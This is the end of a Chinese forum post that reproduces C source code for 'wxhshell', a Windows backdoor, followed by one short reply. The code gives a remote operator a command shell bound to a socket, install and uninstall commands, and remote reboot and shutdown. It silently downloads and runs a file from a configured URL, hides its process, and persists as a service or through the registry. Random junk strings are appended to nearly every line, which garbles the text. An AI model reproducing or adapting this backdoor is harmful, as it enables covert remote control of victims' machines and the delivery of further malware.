  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L/+J|_J)  
  if(DownloadFile(cmd,wsh)) ;GE u.PdxB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #.t{g8W\C  
  else <;Z3 5 {  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) CTM  
  } ,5"]K'Vce  
  else { )GKgK;=~  
@{a-IW 3  
    switch(cmd[0]) { *w,gi.Y3  
  +B|X k[  
  // 帮助 e[dRHl  
  case '?': { 9>>}-;$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nEEGO~e  
    break; odn`%ok  
  } [1MEA;  
  // 安装 L=FvLii.  
  case 'i': { }f'1x%RS^  
    if(Install()) F7l:*r,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MW>28  
    else wdV?& W+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W+S; Do  
    break; LkB!:+v |B  
    } 291|KG  
  // 卸载 .u?$h0u5  
  case 'r': { k|C8sSH  
    if(Uninstall()) 6x{IY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dw!Eao47  
    else Y@Y(;C"SW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -y.AJ~T  
    break; -;-"i J0  
    } 2:F  
  // 显示 wxhshell 所在路径 /CE d 14.  
  case 'p': { Cw5K*  
    char svExeFile[MAX_PATH]; =1[g`b  
    strcpy(svExeFile,"\n\r"); ~=ys~em e  
      strcat(svExeFile,ExeFile); <J`xCm K  
        send(wsh,svExeFile,strlen(svExeFile),0); }O  
    break; ~`H<sJ?9  
    } :L0W"$  
  // 重启 @/FX7O{n:  
  case 'b': { D:EF@il  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;P~S/j[ 8  
    if(Boot(REBOOT)) _AbEQ\P{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i8.[d5  
    else { ;# j 82  
    closesocket(wsh); = h( n+y<  
    ExitThread(0); >#|Yoc  
    } G'f"w5%qZv  
    break; j}l8k@f  
    } c<e\JJY5?  
  // 关机 +Bfi/>  
  case 'd': { v2sU$M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I|z#Aoc  
    if(Boot(SHUTDOWN)) >t(@?*ZFT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[ L$  
    else { T_T{c+,Zd$  
    closesocket(wsh); !g"9P7p  
    ExitThread(0); 2,0F8=L  
    } hh&y2#Io  
    break; ppKCY4  
    } C<XDQ>?  
  // 获取shell 09 s}@C  
  case 's': { {E|gV9g  
    CmdShell(wsh); <vDm(-i3  
    closesocket(wsh); He3zV\X[Z  
    ExitThread(0); e]?S-J'z  
    break; RC%r7K f  
  } ^j}sS!p  
  // 退出 KW^aARJ)  
  case 'x': { Lm#d.AD)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4V8wB}y7e  
    CloseIt(wsh); 12dW:#[  
    break; x$DJ  
    } faX#KRpfd  
  // 离开 +to9].O7y  
  case 'q': { 7+4"+CA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o#/iR]3  
    closesocket(wsh); tb3fz")UC  
    WSACleanup(); (=V[tI+Ngt  
    exit(1); n4y6Ua9m{  
    break; DjvgKy=Jr_  
        } Y3>\;W*?  
  } . *xq =  
  } v"~I( kf$  
:G/]rDtd  
  // 提示信息 [HDO^6U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [)vwg`]   
} J?fh3RW9  
  } N)WG~=Gi  
% 6.jh#C  
  return; j],.`Y  
} t'x:fO?cp  
2tm-:CPG  
// shell模块句柄 LfXr(2u  
int CmdShell(SOCKET sock) @$Kq<P  
{ :9#{p^:o  
STARTUPINFO si; SJ^?D8  
ZeroMemory(&si,sizeof(si)); -wMW@:M_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UyKG$6F?3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y_hRL&u3W  
PROCESS_INFORMATION ProcessInfo; <W') ~o}  
char cmdline[]="cmd"; T<k1?h^7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K/ m)f#  
  return 0; }px]   
} ;I71_>m  
X$Vz  
// 自身启动模式 fO!O" D5  
int StartFromService(void) dU^<7 K:S  
{ UDtbfc7bk  
typedef struct ~9YA!48  
{ ,!u@:UBT  
  DWORD ExitStatus; \[I .  
  DWORD PebBaseAddress; o 0ivja  
  DWORD AffinityMask; i/~QJ1C  
  DWORD BasePriority; fYM6wYJ  
  ULONG UniqueProcessId; H<7DcwXv  
  ULONG InheritedFromUniqueProcessId; G5y  
}   PROCESS_BASIC_INFORMATION; | 8Egw-f  
Q4LlToHn  
PROCNTQSIP NtQueryInformationProcess; U]U)'  
_Ge^ -7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3b\8907  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^WW|AS  
-<JBKPtA  
  HANDLE             hProcess; B~g05`s  
  PROCESS_BASIC_INFORMATION pbi;  >fA@tUQB  
TKu68/\)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tDHHQ  
  if(NULL == hInst ) return 0; S*m`'  
J$9xC{L4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [aZ v?Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'BdmFKy1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u$=ogp =0  
K[>@'P}y  
  if (!NtQueryInformationProcess) return 0; 0 ij~e<  
K&IrTA j}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ) UDJ[pL@  
  if(!hProcess) return 0; nB@iQxcz  
?}3PJVy?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .4C[D{4  
q?-3^z%u  
  CloseHandle(hProcess); hp]ng!I{\u  
n]C%(v!u3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1'v!9  
if(hProcess==NULL) return 0; Ei9_h  
q]i(CaKh  
HMODULE hMod; <A -(&+  
char procName[255]; NBqV0>vR  
unsigned long cbNeeded; 60aKT:KLC_  
0gOrW=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >4|c7z4  
<{NYD .  
  CloseHandle(hProcess); |j~EV~A J  
^/DII`A  
if(strstr(procName,"services")) return 1; // 以服务启动 =2nn "YVP  
aq0iNbv@  
  return 0; // 注册表启动 .qIy7_^  
} TXJY2J*24  
5Q$r@&qp  
// 主模块 \>Ga-gv6/  
int StartWxhshell(LPSTR lpCmdLine) (,Ja  
{ [<Os~bfOv  
  SOCKET wsl; Wm$`ae   
BOOL val=TRUE; .@i0U  
  int port=0; Q$3\ /mz  
  struct sockaddr_in door; ."IJmv  
o=-Vt,2{  
  if(wscfg.ws_autoins) Install(); +dCDM1{_a  
J+71FP`ZH  
port=atoi(lpCmdLine); >d{dZD}  
Q&Z4r9+Z  
if(port<=0) port=wscfg.ws_port; bB:r]*_ s]  
Qst \b8,  
  WSADATA data; ! EX?m }7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n^iNo  
BKC7kDK3H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \K?(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WxVn&c\  
  door.sin_family = AF_INET; )D[ "M$ZA^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pHen>BA[  
  door.sin_port = htons(port); UCn*UX  
'dIX=/RZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EjR_-8@FK  
closesocket(wsl); 3XeXzPj  
return 1; \~@[QGKN  
} K\{b!Cfr^  
jl.okWuiY  
  if(listen(wsl,2) == INVALID_SOCKET) { [=F>#8=  
closesocket(wsl); >=-GD2WK  
return 1; U1,~bO9  
} [G{rHSK5tQ  
  Wxhshell(wsl); oA4D\rn8"  
  WSACleanup(); 4F05(R8k  
ixIV=#  
return 0; iNod</+"K  
r]A" Og_U  
} {&2$[g=[ ^  
;^R A!Nj  
// 以NT服务方式启动 0a"igH}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $%7I:  
{ Guk.,}9  
DWORD   status = 0; tg.|$n  
  DWORD   specificError = 0xfffffff; 9z5\*b s  
QS3U)ZO$@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 51I|0 ly  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eeuZUf+~]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *#3*;dya]  
  serviceStatus.dwWin32ExitCode     = 0; $.H:8^W  
  serviceStatus.dwServiceSpecificExitCode = 0; tIq>Oojdx  
  serviceStatus.dwCheckPoint       = 0; duX0Mc. 0P  
  serviceStatus.dwWaitHint       = 0; \Sg<='/{L;  
P DRnW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :w@F?:C  
  if (hServiceStatusHandle==0) return; i 3m3zXt  
 t?gJNOV  
status = GetLastError(); bf& }8I$  
  if (status!=NO_ERROR) IUOxGJ|rO  
{ mDE'<c`b4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ls&+XlrX8  
    serviceStatus.dwCheckPoint       = 0; EE+`i%  
    serviceStatus.dwWaitHint       = 0; /\na;GI$  
    serviceStatus.dwWin32ExitCode     = status; <3d;1o   
    serviceStatus.dwServiceSpecificExitCode = specificError; &~RR&MdZ2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K&*iw`  
    return; |+>uA[6#  
  } _w 5RK(  
lWW+5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4t04}vp  
  serviceStatus.dwCheckPoint       = 0; {jjSJIV1  
  serviceStatus.dwWaitHint       = 0; VZ$=6CavH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :M06 ;:e  
} }^9]jSq5  
dm6~  
// 处理NT服务事件,比如:启动、停止 F*M|<E=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~4Pc_%&i  
{ 7|YN:7iA  
switch(fdwControl) (:5G#?6,  
{ syv$XeG=}  
case SERVICE_CONTROL_STOP: } ^i b  
  serviceStatus.dwWin32ExitCode = 0; EFAGP${F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Gjq/L/x  
  serviceStatus.dwCheckPoint   = 0; h35Hu_c&  
  serviceStatus.dwWaitHint     = 0; -T7xK/  
  { p,F^0OU2}:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  B$^7h!  
  } $J.T$0pFa  
  return; . V$ps-t  
case SERVICE_CONTROL_PAUSE: rz%<AF Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,w{m3;]_%  
  break; X eoJ$PfT  
case SERVICE_CONTROL_CONTINUE: @wp4 |G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z% 1{  
  break; &-%X:~|:X  
case SERVICE_CONTROL_INTERROGATE: HG%Z "d  
  break; ubYG  
}; ,Ol (piR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F[saP0 *  
} H2;X   
&.Q8Mi aT  
// 标准应用程序主函数 ;;Ds  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T@[!A);  
{ y{d^?(-  
ar.AL'  
// 获取操作系统版本 ~GJN@ka4%  
OsIsNt=GetOsVer(); G^wtE90  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WKmbNvN^  
QvLZg  
  // 从命令行安装 4=Gph  
  if(strpbrk(lpCmdLine,"iI")) Install(); GX&b;N  
e-5?p~>  
  // 下载执行文件 %O%=rUD  
if(wscfg.ws_downexe) { ^j)BKD-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y[Ltrk{  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vp}^NNYf  
} N^w'Hw0  
|J0Q,F]T  
if(!OsIsNt) { ,xI%A, (,;  
// 如果时win9x,隐藏进程并且设置为注册表启动 AoaN22  
HideProc(); ;AJTytE>%  
StartWxhshell(lpCmdLine); sC"}8+[)S3  
} c+dg_*^  
else Bi3+)k>u7  
  if(StartFromService()) bEV<iZDq%  
  // 以服务方式启动 "YU{Fkl#j  
  StartServiceCtrlDispatcher(DispatchTable); jJZgK$5+  
else lb*8G  
  // 普通方式启动 *e#<n_%R  
  StartWxhshell(lpCmdLine); H ?M/mGP  
!0,Mp@ j/  
return 0; vhuw &.\  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八